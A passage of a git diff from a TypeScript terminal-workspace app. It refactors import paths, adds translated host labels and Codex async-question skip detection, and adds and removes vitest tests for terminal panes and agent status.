 import type { PreflightStatus } from '../../../../preload/api/preflight-api'
 import { getTaskPageRepoSourceContext } from '../../lib/work-items/task-repo-source-context'
 export function useTaskPageRuntimeHosts(model: TaskPageRepoSelectionModel) {
+  const t = useTranslate()
   const {
     settings,
     pageData,
@@ -78,8 +81,11 @@ export function useTaskPageRuntimeHosts(model: TaskPageRepoSelectionModel) {
     ]
   )
   const hostLabelById = useMemo(
-    () => new Map([...hostRegistryById].map(([hostId, host]) => [hostId, host.label])),
-    [hostRegistryById]
+    () =>
+      new Map(
+        [...hostRegistryById].map(([hostId, host]) => [hostId, translateHostDisplayLabel(host, t)])
+      ),
+    [hostRegistryById, t]
   )
   const runtimeTaskSourceHostIds = useMemo(() => {
     if (taskSource !== 'github' && taskSource !== 'gitlab') {
diff --git a/src/renderer/src/components/task-page/use-task-page-store-bindings.ts b/src/renderer/src/components/task-page/use-task-page-store-bindings.ts
index 0bd82ad783a..56acd6e319d 100644
--- a/src/renderer/src/components/task-page/use-task-page-store-bindings.ts
+++ b/src/renderer/src/components/task-page/use-task-page-store-bindings.ts
@@ -2,8 +2,8 @@ import { useTranslation } from 'react-i18next'
 import { useAppStore } from '@/store/index'
 import { useRepoMap } from '@/store/repos/use-repository-catalog'
 import { useAllWorktrees } from '@/store/slices/worktrees/listing/use-worktree-catalog'
-import { localPreflightContextKey } from '@/lib/local-preflight-context-key'
-import { getLocalPreflightContext } from '@/lib/local-preflight-context'
+import { localPreflightContextKey } from '@/runtime/hosts/preflight/local-preflight-context-key'
+import { getLocalPreflightContext } from '@/runtime/hosts/preflight/local-preflight-context'
 import {
   getProviderRuntimeContextKey,
   isEnvironmentRuntimeContextKey
diff --git a/src/renderer/src/components/task-project-source-combobox.tsx b/src/renderer/src/components/task-project-source-combobox.tsx
index 4cf7a1a7b3c..c2a839e2bfd 100644
--- a/src/renderer/src/components/task-project-source-combobox.tsx
+++ b/src/renderer/src/components/task-project-source-combobox.tsx
@@ -4,7 +4,7 @@ import { Button } from '@/components/ui/button'
 import { Command, CommandInput, CommandList } from '@/components/ui/command'
 import { Popover, PopoverContent, PopoverTrigger } from '@/components/ui/popover'
 import RepoBadgeLabel from '@/components/repo/RepoBadgeLabel'
-import { isRepoSearchQueryTooLarge, searchRepos } from '@/lib/repo-search'
+import { isRepoSearchQueryTooLarge, searchRepos } from '@/lib/workspace/catalog/repo-search'
 import { cn } from '@/lib/class-names'
 import { translate } from '@/i18n/i18n'
 import { useTranslate, type Translate } from '@/i18n/use-translate'
diff --git a/src/renderer/src/components/task-source-context-summary.ts b/src/renderer/src/components/task-source-context-summary.ts
index 1c7344e5941..3ed52160b75 100644
--- a/src/renderer/src/components/task-source-context-summary.ts
+++ b/src/renderer/src/components/task-source-context-summary.ts
@@ -1,12 +1,12 @@
 import { translate } from '@/i18n/i18n'
 import type { Translate } from '@/i18n/use-translate'
-import { getExecutionHostLabel } from '../../../shared/execution-host'
 import type { ExecutionHostScope } from '../../../shared/execution-host'
 import type { ExecutionHostHealth } from '../../../shared/execution-host/execution-host-health'
 import type { SshConnectionStatus } from '../../../shared/ssh-types'
 import type { TaskProvider } from '../../../shared/work-items/task-providers'
 import type { TaskProviderIdentity } from '../../../shared/work-items/task-provider-identity'
 import type { TaskSourceContext } from '../../../shared/work-items/task-source-context'
+import { getTranslatedExecutionHostLabel } from './sidebar/execution-host-label'
 import {
   accountTitlePart,
   availabilityTitlePart,
@@ -45,7 +45,7 @@ export type TaskSourceHostAvailability = {
 type HostLabelLookup = ReadonlyMap<string, string> | undefined
 
 function getHostLabel(hostId: ExecutionHostScope, hostLabelById: HostLabelLookup): string {
-  return hostLabelById?.get(hostId) ?? getExecutionHostLabel(hostId)
+  return hostLabelById?.get(hostId) ?? getTranslatedExecutionHostLabel(hostId)
 }
 
 type RepoBackedTaskSourceSummaryArgs = {
diff --git a/src/renderer/src/components/terminal-pane/account-restart/detached/codex-detached-pane-restart.ts b/src/renderer/src/components/terminal-pane/account-restart/detached/codex-detached-pane-restart.ts
index 5ae8845d6fa..df890e14109 100644
--- a/src/renderer/src/components/terminal-pane/account-restart/detached/codex-detached-pane-restart.ts
+++ b/src/renderer/src/components/terminal-pane/account-restart/detached/codex-detached-pane-restart.ts
@@ -3,10 +3,6 @@ import {
   isTerminalLeafId,
   makePaneKey
 } from '../../../../../../shared/workspace-layout/stable-pane-id'
-import type { TerminalLayoutSnapshot } from '../../../../../../shared/workspace-layout/terminal-tab-types'
-import type { LocatedCodexPane } from './located-codex-pane'
-
-import type { AppState } from '@/store/types'
 import { useAppStore } from '@/store/index'
 import { singlePaneLayoutSnapshot } from '@/store/terminals/terminal-single-pane-layout'
 import { hasRegisteredRuntimeTerminalTab } from '@/runtime/hosted-terminals/mounted-surfaces/mounted-terminal-tab-registry'
@@ -15,9 +11,8 @@ import {
   buildPaneAccountRestartStartup
 } from '@/lib/agent-session/accounts/agent-account-restart-startup'
 import { isClaudePaneMidTurn } from '@/lib/agent-session/accounts/claude/claude-session-account-move'
-import type { AccountRestartAgent } from '@/store/terminals/terminal-contracts'
-import { isForeignMachineCodexPtyId } from '@/lib/codex-pane-selection-lane'
-import { getLocalProjectExecutionRuntimeContext } from '@/lib/local-preflight-context'
+import { isForeignMachineCodexPtyId } from '@/lib/agent-session/accounts/codex-pane-selection-lane'
+import { getLocalProjectExecutionRuntimeContext } from '@/runtime/hosts/preflight/local-preflight-context'
 import {
   getCachedWindowsTerminalCapabilities,
   hasCachedWindowsTerminalCapabilities
@@ -37,6 +32,10 @@ import {
   reapUnboundCodexPty,
   releaseReplacedCodexPanePty
 } from './detached-pane-restart-pty-release'
+import type { TerminalLayoutSnapshot } from '../../../../../../shared/workspace-layout/terminal-tab-types'
+import type { LocatedCodexPane } from './located-codex-pane'
+import type { AppState } from '@/store/types'
+import type { AccountRestartAgent } from '@/store/terminals/terminal-contracts'
 
 const inFlightPtyIds = new Set<string>()
 
diff --git a/src/renderer/src/components/terminal-pane/agent-completion/agent-completion-coordinator-turn-end-drop-breadcrumb.test.ts b/src/renderer/src/components/terminal-pane/agent-completion/agent-completion-coordinator-turn-end-drop-breadcrumb.test.ts
deleted file mode 100644
index 9a6ebf5bd65..00000000000
--- a/src/renderer/src/components/terminal-pane/agent-completion/agent-completion-coordinator-turn-end-drop-breadcrumb.test.ts
+++ /dev/null
@@ -1,59 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-
-const { recordAgentFinishDropped } = vi.hoisted(() => ({ recordAgentFinishDropped: vi.fn() }))
-vi.mock('@/attention/agent-finish-drop-breadcrumb', () => ({ recordAgentFinishDropped }))
-
-import { createAgentCompletionCoordinator } from './agent-completion-coordinator'
-import { useAgentCompletionCoordinatorLifecycle } from './agent-completion-coordinator-test-harness'
-
-// #40340: the crumb must name a swallowed new turn end, never a revision of one already announced.
-describe('turn-end-not-counted breadcrumb', () => {
-  useAgentCompletionCoordinatorLifecycle()
-  beforeEach(() => recordAgentFinishDropped.mockClear())
-
-  function hookCoordinator() {
-    const dispatchCompletion = vi.fn()
-    const coordinator = createAgentCompletionCoordinator({
-      paneKey: 'tab-1:leaf-1',
-      statusLane: 'hook',
-      getPtyId: () => 'pty-1',
-      inspectProcess: vi.fn(),
-      dispatchCompletion,
-      isLive: () => true
-    })
-    coordinator.observeHookStatus({
-      state: 'working',
-      prompt: 'first turn',
-      agentType: 'claude',
-      stateStartedAt: 2_000
-    })
-    const done = { state: 'done' as const, prompt: 'first turn', agentType: 'claude' }
-    coordinator.observeHookStatus({ ...done, stateStartedAt: 2_400, turnCompletedAt: 2_500 })
-    vi.runAllTimers()
-    return { coordinator, dispatchCompletion, done }
-  }
-
-  it('records nothing for a revision of the announced end', () => {
-    const { coordinator, dispatchCompletion, done } = hookCoordinator()
-    expect(dispatchCompletion).toHaveBeenCalledTimes(1)
-
-    coordinator.observeHookStatus({
-      ...done,
-      stateStartedAt: 2_400,
-      turnCompletedAt: 2_500,
-      turnEndedAt: 2_600
-    })
-
-    expect(recordAgentFinishDropped).not.toHaveBeenCalled()
-  })
-
-  it('records a different end swallowed with no working state in between', () => {
-    const { coordinator, done } = hookCoordinator()
-
-    coordinator.observeHookStatus({ ...done, stateStartedAt: 3_400, turnCompletedAt: 3_500 })
-
-    expect(recordAgentFinishDropped).toHaveBeenCalledWith('turn-end-not-counted', {
-      paneKey: 'tab-1:leaf-1'
-    })
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/agent-status/input-inference/agent-question-answered-inference.test.ts b/src/renderer/src/components/terminal-pane/agent-status/input-inference/agent-question-answered-inference.test.ts
new file mode 100644
index 00000000000..2e0d1e933e7
--- /dev/null
+++ b/src/renderer/src/components/terminal-pane/agent-status/input-inference/agent-question-answered-inference.test.ts
@@ -0,0 +1,45 @@
+import { describe, expect, it, vi } from 'vitest'
+import type { AgentStatusEntry } from '../../../../../../shared/agent-status/contracts/agent-status-types'
+import { createAgentQuestionAnsweredInference } from './agent-question-answered-inference'
+
+const NOW = 1_000_000
+
+function observe(entry: Partial<AgentStatusEntry>, data: string): boolean {
+  const inferQuestionAnswered = vi.fn()
+  const status: AgentStatusEntry = {
+    state: 'waiting',
+    prompt: 'p',
+    updatedAt: NOW,
+    stateStartedAt: NOW,
+    paneKey: 'tab-1:pane',
+    stateHistory: [],
+    ...entry
+  }
+  createAgentQuestionAnsweredInference({
+    paneKey: 'tab-1:pane',
+    getStatusEntry: () => status,
+    inferQuestionAnswered,
+    now: () => NOW
+  }).observeSentTerminalInput(data)
+  return inferQuestionAnswered.mock.calls.length > 0
+}
+
+const codexAsync = {
+  agentType: 'codex',
+  toolName: 'request_user_input_async'
+} as const
+
+describe('Codex async question skip', () => {
+  it.each(['\x1d', '\x1b[93;5u'])('infers a skip from Ctrl+] (%j)', (data) => {
+    expect(observe(codexAsync, data)).toBe(true)
+  })
+
+  it('ignores Enter, which Codex reports through a reply hook', () => {
+    expect(observe(codexAsync, '\r')).toBe(false)
+  })
+
+  it('ignores Ctrl+] for other rows', () => {
+    expect(observe({ agentType: 'claude', toolName: 'AskUserQuestion' }, '\x1d')).toBe(false)
+    expect(observe({ ...codexAsync, state: 'working' }, '\x1d')).toBe(false)
+  })
+})
diff --git a/src/renderer/src/components/terminal-pane/agent-status/input-inference/agent-question-answered-inference.ts b/src/renderer/src/components/terminal-pane/agent-status/input-inference/agent-question-answered-inference.ts
index fe175c0b135..a7f093124f8 100644
--- a/src/renderer/src/components/terminal-pane/agent-status/input-inference/agent-question-answered-inference.ts
+++ b/src/renderer/src/components/terminal-pane/agent-status/input-inference/agent-question-answered-inference.ts
@@ -9,6 +9,10 @@ import {
   isQuestionAnsweredSubmitInput,
   type AgentQuestionAnsweredInferenceRequest
 } from '../../../../../../shared/agent-status/lifecycle/agent-question-answered-intent'
+import {
+  CODEX_ASYNC_QUESTION_TOOL,
+  isCodexSkipQuestionInput
+} from '../../../../../../shared/codex-async-question-input'
 
 export type AgentQuestionAnsweredInference = {
   observeSentTerminalInput(data: string): void
@@ -25,14 +29,17 @@ type AgentQuestionAnsweredInferenceDeps = {
 
 function inferQuestionAnsweredFromEntry(
   deps: AgentQuestionAnsweredInferenceDeps,
-  entry: AgentStatusEntry | undefined
+  entry: AgentStatusEntry | undefined,
+  /** Codex async questions resolve only by skip; their answers arrive as hooks. */
+  codexSkip = false
 ): boolean {
   const now = deps.now ?? Date.now
   if (
     !entry ||
     entry.state !== 'waiting' ||
-    entry.agentType !== 'claude' ||
-    !isAskUserQuestionTool(entry.toolName) ||
+    !(codexSkip
+      ? entry.agentType === 'codex' && entry.toolName === CODEX_ASYNC_QUESTION_TOOL
+      : entry.agentType === 'claude' && isAskUserQuestionTool(entry.toolName)) ||
     !isExplicitAgentStatusFresh(entry, now(), AGENT_STATUS_STALE_AFTER_MS)
   ) {
     return false
@@ -42,7 +49,8 @@ function inferQuestionAnsweredFromEntry(
     baselineUpdatedAt: entry.updatedAt,
     baselineStateStartedAt: entry.stateStartedAt,
     baselinePrompt: entry.prompt,
-    baselineAgentType: entry.agentType
+    baselineAgentType: entry.agentType,
+    ...(codexSkip ? { codexSkip: true as const } : {})
   })
   return true
 }
@@ -61,8 +69,14 @@ export function createAgentQuestionAnsweredInference({
   inferQuestionAnswered,
   now = () => Date.now()
 }: AgentQuestionAnsweredInferenceDeps): AgentQuestionAnsweredInference {
+  const deps = { paneKey, getStatusEntry, inferQuestionAnswered, now }
   return {
     observeSentTerminalInput(data) {
+      // Codex's skip removes an async question in the TUI only; no hook or transcript line reports it.
+      if (isCodexSkipQuestionInput(data)) {
+        inferQuestionAnsweredFromEntry(deps, getStatusEntry(), true)
+        return
+      }
       // Reject ordinary hot-path terminal input before store reads or prompt JSON parsing.
       if (!isPotentialQuestionAnsweredSubmitInput(data)) {
         return
@@ -71,7 +85,7 @@ export function createAgentQuestionAnsweredInference({
       if (!entry || !isQuestionAnsweredSubmitInput(data, entry.interactivePrompt)) {
         return
       }
-      inferQuestionAnsweredFromEntry({ paneKey, getStatusEntry, inferQuestionAnswered, now }, entry)
+      inferQuestionAnsweredFromEntry(deps, entry)
     }
   }
 }
diff --git a/src/renderer/src/components/terminal-pane/appearance/resolve-terminal-pane-appearance.ts b/src/renderer/src/components/terminal-pane/appearance/resolve-terminal-pane-appearance.ts
index c708d738b43..83b23fb7a2a 100644
--- a/src/renderer/src/components/terminal-pane/appearance/resolve-terminal-pane-appearance.ts
+++ b/src/renderer/src/components/terminal-pane/appearance/resolve-terminal-pane-appearance.ts
@@ -1,13 +1,13 @@
-import type { CSSProperties } from 'react'
 import {
   DEFAULT_TERMINAL_DIVIDER_DARK,
   normalizeColor,
   resolveEffectiveTerminalAppearance
-} from '@/lib/terminal-theme'
+} from '@/lib/terminal/appearance/terminal-theme'
 import {
   isTerminalBackgroundLight,
   resolveOpaqueTerminalBackground
 } from '../../../../../shared/terminal-themes/terminal-title-contrast'
+import type { CSSProperties } from 'react'
 import type { TerminalPaneMobileController } from '../controller/use-terminal-pane-mobile-actions'
 
 export function resolveTerminalPaneAppearance({
diff --git a/src/renderer/src/components/terminal-pane/appearance/terminal-appearance.test.ts b/src/renderer/src/components/terminal-pane/appearance/terminal-appearance.test.ts
deleted file mode 100644
index 6b44f904874..00000000000
--- a/src/renderer/src/components/terminal-pane/appearance/terminal-appearance.test.ts
+++ /dev/null
@@ -1,100 +0,0 @@
-import { describe, expect, it, vi } from 'vitest'
-import type { ManagedPane } from '@/lib/pane-manager/pane-manager-types'
-import type { PaneManager } from '@/lib/pane-manager/pane-manager'
-import { getDefaultSettings } from '../../../../../shared/constants'
-import { applyTerminalAppearance } from './terminal-appearance'
-
-import { safeFit } from '@/lib/pane-manager/pane-fit'
-import { _resetTerminalViewAttributesPublisherForTest } from './terminal-view-attributes-publisher'
-describe('applyTerminalAppearance theme assignment', () => {
-  // xterm rebuilds the palette on any new theme-object identity (wiping OSC color mutations), so the assignment must be value-gated.
-  // Metric writes require a measurable pane; hidden panes defer until fit/reveal.
-  function makePane(id: number, overrides?: { measurable?: boolean }): ManagedPane {
-    const measurable = overrides?.measurable ?? true
-    // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: this fixture supplies the pane members exercised by appearance logic.
-    return {
-      id,
-      terminal: { options: {}, cols: 80, rows: 24 },
-      container: {
-        dataset: {},
-        getBoundingClientRect: () => ({ width: measurable ? 800 : 0, height: measurable ? 600 : 0 })
-      },
-      fitAddon: {
-        proposeDimensions: () => (measurable ? { cols: 80, rows: 24 } : undefined)
-      }
-    } as unknown as ManagedPane
-  }
-
-  function makeManager(panes: ManagedPane[]): PaneManager {
-    // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: this fixture supplies the manager members exercised by appearance logic.
-    return {
-      // Real getPanes returns fresh wrappers around the same terminal; per-pane state must survive wrapper changes.
-      getPanes: () => panes.map((pane) => ({ ...pane })),
-      setPaneLigaturesEnabled: vi.fn(),
-      setPaneInlineImagesEnabled: vi.fn(),
-      setPaneStyleOptions: vi.fn()
-    } as unknown as PaneManager
-  }
-
-  function apply(pane: ManagedPane, settings: ReturnType<typeof getDefaultSettings>): void {
-    applyTerminalAppearance(
-      makeManager([pane]),
-      settings,
-      true,
-      new Map(),
-      'false',
-      new Map(),
-      new Map()
-    )
-  }
-
-  it('keeps options.theme identity across attribute-neutral applies (font size tweak)', () => {
-    const pane = makePane(1)
-    const settings = getDefaultSettings('/tmp')
-
-    apply(pane, settings)
-    const firstTheme = pane.terminal.options.theme
-    expect(firstTheme).toBeDefined()
-
-    apply(pane, { ...settings, terminalFontSize: settings.terminalFontSize + 2 })
-
-    // Identity-stable theme means xterm never re-runs _setTheme, so a TUI's modifyColors mutation survives the font tweak.
-    expect(pane.terminal.options.theme).toBe(firstTheme)
-    expect(pane.terminal.options.fontSize).toBe(settings.terminalFontSize + 2)
-  })
-
-  it('applies only the latest deferred metric options after repeated hidden changes', () => {
-    let measurable = false
-    const writes: number[] = []
-    const options: Record<string, unknown> = {}
-    Object.defineProperty(options, 'fontSize', {
-      configurable: true,
-      enumerable: true,
-      get: () => writes.at(-1),
-      set: (value: number) => {
-        writes.push(value)
-      }
-    })
-    const pane = {
-      id: 1,
-      terminal: { options, cols: 80, rows: 24 },
-      container: {
-        dataset: {},
-        getBoundingClientRect: () => ({ width: measurable ? 800 : 0, height: measurable ? 600 : 0 })
-      },
-      fitAddon: {
-        fit: vi.fn(),
-        proposeDimensions: () => (measurable ? { cols: 80, rows: 24 } : undefined)
-      }
-    } as unknown as ManagedPane
-    const settings = getDefaultSettings('/tmp')
-
-    apply(pane, { ...settings, terminalFontSize: 15 })
-    apply(pane, { ...settings, terminalFontSize: 21 })
-
-    measurable = true
-    safeFit(pane)
-
-    expect(writes).toEqual([21])
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/appearance/terminal-appearance.ts b/src/renderer/src/components/terminal-pane/appearance/terminal-appearance.ts
index 99cac7af0b4..a40adcd5118 100644
--- a/src/renderer/src/components/terminal-pane/appearance/terminal-appearance.ts
+++ b/src/renderer/src/components/terminal-pane/appearance/terminal-appearance.ts
@@ -3,25 +3,28 @@ import type { PaneManager } from '@/lib/pane-manager/pane-manager'
 import type { GlobalSettings } from '../../../../../shared/global-settings-types'
 import { resolveTerminalFontWeights } from '../../../../../shared/terminal/appearance/terminal-fonts'
 import { resolveTerminalLigaturesEnabled } from '../../../../../shared/terminal/appearance/terminal-ligatures'
-import { resolvePaneStyleOptions, resolveEffectiveTerminalAppearance } from '@/lib/terminal-theme'
+import {
+  resolvePaneStyleOptions,
+  resolveEffectiveTerminalAppearance
+} from '@/lib/terminal/appearance/terminal-theme'
 import { buildFontFamily } from '../../../../../shared/monospace-font-family'
 import { pluginFontFamilyWhenLoaded } from '@/store/plugins/appearance/plugin-fonts'
-import '@/lib/pane-manager/pane-tree-ops'
-import { safeFit, safeFitAndThen } from '@/lib/pane-manager/pane-fit'
+import '@/lib/pane-manager/pane-layout/pane-tree-ops'
+import { safeFit, safeFitAndThen } from '@/lib/pane-manager/terminal-fit/pane-fit'
 
-import { canApplyPaneMetricOptions } from '@/lib/pane-manager/pane-fit-measurability'
+import { canApplyPaneMetricOptions } from '@/lib/pane-manager/terminal-fit/pane-fit-measurability'
 import {
   applyOrDeferPaneMetricOptions,
   paneMetricOptionsAlreadySettled
-} from '@/lib/pane-manager/pane-metric-options-deferral'
+} from '@/lib/pane-manager/terminal-fit/pane-metric-options-deferral'
 import {
   normalizeTerminalFastScrollSensitivity,
   normalizeTerminalScrollSensitivity,
   resolveTerminalCursorInactiveStyle,
   resolveTerminalScrollOnUserInput
 } from '@/lib/pane-manager/pane-terminal-options'
-import { getFitOverrideForPty } from '@/lib/pane-manager/mobile-fit-overrides'
-import { setTerminalCursorBlinkOption } from '@/lib/pane-manager/pane-cursor-blink-suspension'
+import { getFitOverrideForPty } from '@/lib/pane-manager/terminal-fit/mobile-fit-overrides'
+import { setTerminalCursorBlinkOption } from '@/lib/pane-manager/pane-focus/pane-cursor-blink-suspension'
 import type { PtyTransport } from '../pty-transport/pty-transport-types'
 import type { EffectiveMacOptionAsAlt } from '@/lib/keyboard-layout/detect-option-as-alt'
 import { HEX_COLOR_RE } from '../../../../../shared/color-validation'
@@ -32,23 +35,9 @@ import { maybePushMode2031Flip } from '../emulation/terminal-mode-2031-replies'
 import { resolveTerminalMinimumContrastRatio } from '../../../../../shared/terminal-themes/terminal-contrast-correction'
 import { resolveTerminalInlineImagesEnabled } from '../../../../../shared/terminal/images/terminal-inline-images-settings'
 import { windowBackdropActive } from '@/app-shell/appearance/window-backdrop'
-import { contrastRatio, over, type Rgba } from '../../../../../shared/color/rgba-contrast'
+import { contrastRatio, hexToRgb, over, type Rgba } from '../../../../../shared/color/rgba-contrast'
 import { getTerminalFontSizeOverride } from './terminal-font-size-overrides'
 
-function hexToRgb(hex: string): Rgba {
-  let clean = hex.replace('#', '')
-  if (clean.length === 3) {
-    clean = clean
-      .split('')
-      .map((c) => c + c)
-      .join('')
-  }
-  const r = Number.parseInt(clean.slice(0, 2), 16)
-  const g = Number.parseInt(clean.slice(2, 4), 16)
-  const b = Number.parseInt(clean.slice(4, 6), 16)
-  return [r, g, b, 1]
-}
-
 export function hexToRgba(hex: string, alpha: number): string {
   const [r, g, b] = hexToRgb(hex)
   return `rgba(${r}, ${g}, ${b}, ${alpha})`
diff --git a/src/renderer/src/components/terminal-pane/appearance/useTerminalFontZoom.ts b/src/renderer/src/components/terminal-pane/appearance/useTerminalFontZoom.ts
index 7975e6150e1..aeda5400d39 100644
--- a/src/renderer/src/components/terminal-pane/appearance/useTerminalFontZoom.ts
+++ b/src/renderer/src/components/terminal-pane/appearance/useTerminalFontZoom.ts
@@ -1,9 +1,9 @@
 import { useEffect } from 'react'
 import type { PaneManager } from '@/lib/pane-manager/pane-manager'
-import { dispatchZoomLevelChanged } from '@/lib/zoom-events'
-import '@/lib/pane-manager/pane-tree-ops'
-import { safeFit } from '@/lib/pane-manager/pane-fit'
-import { overridePendingPaneMetricOptions } from '@/lib/pane-manager/pane-metric-options-deferral'
+import { dispatchZoomLevelChanged } from '@/app-shell/chrome/zoom-events'
+import '@/lib/pane-manager/pane-layout/pane-tree-ops'
+import { safeFit } from '@/lib/pane-manager/terminal-fit/pane-fit'
+import { overridePendingPaneMetricOptions } from '@/lib/pane-manager/terminal-fit/pane-metric-options-deferral'
 import { getPaneOwnedActiveHelperTextarea } from '../input/focus/regular-terminal-focus-ownership'
 import {
   clearTerminalFontSizeOverride,
diff --git a/src/renderer/src/components/terminal-pane/controller/TerminalPaneSurface.tsx b/src/renderer/src/components/terminal-pane/controller/TerminalPaneSurface.tsx
index aaa2bcabd82..77717e84e28 100644
--- a/src/renderer/src/components/terminal-pane/controller/TerminalPaneSurface.tsx
+++ b/src/renderer/src/components/terminal-pane/controller/TerminalPaneSurface.tsx
@@ -56,6 +56,7 @@ export function TerminalPaneSurface({
     agentSessionContinuation,
     agentSessionFork,
     beginPaneDragFromHeader,
+    chatPane,
     closeTerminalLinkActions,
     contextMenu,
     contextMenuCanContinueInNewSession,
@@ -147,6 +148,7 @@ export function TerminalPaneSurface({
         className="absolute inset-0 min-h-0 min-w-0"
         data-terminal-tab-id={tabId}
         data-terminal-chat-view={effectiveChatViewMode && activePaneIsChatLeaf ? 'true' : undefined}
+        data-terminal-chat-pane={effectiveChatViewMode && chatPane ? '' : undefined}
         data-terminal-layout-leaf-ids={expectedLayoutLeafIdsAttr}
         data-pane-title-surface={titleUsesLightSurface ? 'light' : 'dark'}
         style={terminalContainerStyle}
@@ -231,9 +233,7 @@ export function TerminalPaneSurface({
                       )
                   : undefined
               }
-              onOpenNewTerminal={() => {
-                openTerminalBesideTab(tabId)
-              }}
+              onOpenNewTerminal={() => void openTerminalBesideTab(tabId)}
               onClosePane={() => handleRequestClosePane(activePane.id)}
             />,
             activePane.container,
diff --git a/src/renderer/src/components/terminal-pane/emulation/terminal-capability-replies.ts b/src/renderer/src/components/terminal-pane/emulation/terminal-capability-replies.ts
index 4cdb688283f..a4fbec139c7 100644
--- a/src/renderer/src/components/terminal-pane/emulation/terminal-capability-replies.ts
+++ b/src/renderer/src/components/terminal-pane/emulation/terminal-capability-replies.ts
@@ -1,4 +1,4 @@
-import { registerTerminalDa1Owner } from '../../../lib/pane-manager/terminal-da1-ownership'
+import { registerTerminalDa1Owner } from '../../../lib/pane-manager/terminal-protocol/terminal-da1-ownership'
 import type { IDisposable, IParser, Terminal } from '@xterm/xterm'
 import {
   sendTerminalOscColorQueryReplies as sendTerminalOscColorQueryRepliesForColors,
diff --git a/src/renderer/src/components/terminal-pane/emulation/terminal-inline-image-da1.test.ts b/src/renderer/src/components/terminal-pane/emulation/terminal-inline-image-da1.test.ts
deleted file mode 100644
index 82d5f5abf35..00000000000
--- a/src/renderer/src/components/terminal-pane/emulation/terminal-inline-image-da1.test.ts
+++ /dev/null
@@ -1,76 +0,0 @@
-import type { ManagedPaneInternal } from '../../../lib/pane-manager/pane-manager-types'
-import { describe, expect, it, vi } from 'vitest'
-import { Terminal } from '@xterm/xterm'
-
-describe('inline image DA1 ownership', () => {
-  it.each(['primed', 'deferred'] as const)(
-    'preserves Orca replies and replay suppression with a %s real image addon',
-    async (loading) => {
-      vi.resetModules()
-      const { installTerminalCapabilityReplyHandlers } =
-        await import('./terminal-capability-replies')
-      const { attachInlineImages, detachInlineImages, terminalRendersInlineImages } =
-        await import('../../../lib/pane-manager/pane-inline-images')
-      const { primeTerminalImageAddon } =
-        await import('../../../lib/pane-manager/terminal-image-addon-loader')
-      const terminal = new Terminal({ allowProposedApi: true })
-      // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: this fixture supplies the pane members exercised by DA1 ownership.
-      const pane = {
-        id: 1,
-        terminal,
-        imageAddon: null,
-        imageAttachmentDeferred: false
-      } as unknown as ManagedPaneInternal
-      const replies: string[] = []
-      let replaying = false
-      let enabled = true
-      terminal.onData((data) => replies.push(data))
-      if (loading === 'primed') {
-        await primeTerminalImageAddon()
-        attachInlineImages(pane)
-      }
-      const owner = installTerminalCapabilityReplyHandlers({
-        terminal,
-        parser: terminal.parser,
-        sendInput: (data) => {
-          replies.push(data)
-        },
-        isReplaying: () => replaying,
-        // Advertise Sixel only after decoder attachment, matching pty-input-recovery.
-        sixelSupported: () => enabled && terminalRendersInlineImages(terminal)
-      })
-      try {
-        if (loading === 'deferred') {
-          attachInlineImages(pane)
-          expect(pane.imageAttachmentDeferred).toBe(true)
-          await primeTerminalImageAddon()
-        }
-        expect(pane.imageAddon).not.toBeNull()
-        const query = () => new Promise<void>((resolve) => terminal.write('\x1b[c', resolve))
-        await query()
-        expect(replies.splice(0)).toEqual(['\x1b[?1;2;4c'])
-        replaying = true
-        await query()
-        expect(replies).toEqual([])
-        replaying = false
-        enabled = false
-        await query()
-        expect(replies.splice(0)).toEqual(['\x1b[?1;2c'])
-        enabled = true
-        await query()
-        expect(replies.splice(0)).toEqual(['\x1b[?1;2;4c'])
-        // A still-enabled setting cannot advertise Sixel after the decoder detaches.
-        detachInlineImages(pane)
-        await query()
-        expect(replies.splice(0)).toEqual(['\x1b[?1;2c'])
-        attachInlineImages(pane)
-        await query()
-        expect(replies.splice(0)).toEqual(['\x1b[?1;2;4c'])
-      } finally {
-        detachInlineImages(pane)
-        owner.dispose()
-        terminal.dispose()
-      }
-    }
-  )
-})
diff --git a/src/renderer/src/components/terminal-pane/emulation/terminal-mode-2031-replies.ts b/src/renderer/src/components/terminal-pane/emulation/terminal-mode-2031-replies.ts
index fc1eecb33c0..65bdd700a7c 100644
--- a/src/renderer/src/components/terminal-pane/emulation/terminal-mode-2031-replies.ts
+++ b/src/renderer/src/components/terminal-pane/emulation/terminal-mode-2031-replies.ts
@@ -4,7 +4,7 @@ import {
 } from '../../../../../shared/terminal/protocol/queries/terminal-color-scheme-protocol'
 
 import type { PtyTransport } from '../pty-transport/pty-transport-types'
-import { getFitOverrideForPty } from '@/lib/pane-manager/mobile-fit-overrides'
+import { getFitOverrideForPty } from '@/lib/pane-manager/terminal-fit/mobile-fit-overrides'
 
 type Mode2031ReplyTransport = Pick<PtyTransport, 'isConnected' | 'sendInputImmediate' | 'getPtyId'>
 
diff --git a/src/renderer/src/components/terminal-pane/host-files/terminal-host-workspace-file.ts b/src/renderer/src/components/terminal-pane/host-files/terminal-host-workspace-file.ts
index 2608d9a83d1..18c3cb97114 100644
--- a/src/renderer/src/components/terminal-pane/host-files/terminal-host-workspace-file.ts
+++ b/src/renderer/src/components/terminal-pane/host-files/terminal-host-workspace-file.ts
@@ -9,7 +9,7 @@ import type { RuntimeFileOperationArgs } from '@/runtime/files/runtime-file-clie
 import { statRuntimePath } from '@/runtime/files/metadata/runtime-file-metadata-client'
 import { isRemoteRuntimeFileOperation } from '@/runtime/files/runtime-file-routing'
 import { userNamedFileAccess } from '@/lib/files/access/local-file-access'
-import { isPairedWebClientWindow } from '@/lib/desktop-window-chrome'
+import { isPairedWebClientWindow } from '@/app-shell/chrome/desktop-window-chrome'
 import { runtimeEnvironmentSupportsCapability } from '@/runtime/rpc/compatibility/runtime-capability-proof'
 import { toRuntimeWorktreeSelector } from '@/runtime/rpc/targets/runtime-worktree-selector'
 import {
diff --git a/src/renderer/src/components/terminal-pane/host-state/terminal-pane-local-windows-conpty.ts b/src/renderer/src/components/terminal-pane/host-state/terminal-pane-local-windows-conpty.ts
index a534a80150d..66ca7035ec7 100644
--- a/src/renderer/src/components/terminal-pane/host-state/terminal-pane-local-windows-conpty.ts
+++ b/src/renderer/src/components/terminal-pane/host-state/terminal-pane-local-windows-conpty.ts
@@ -4,7 +4,7 @@ import { isRemoteRuntimePtyId } from '../../../../../shared/remote-runtime/remot
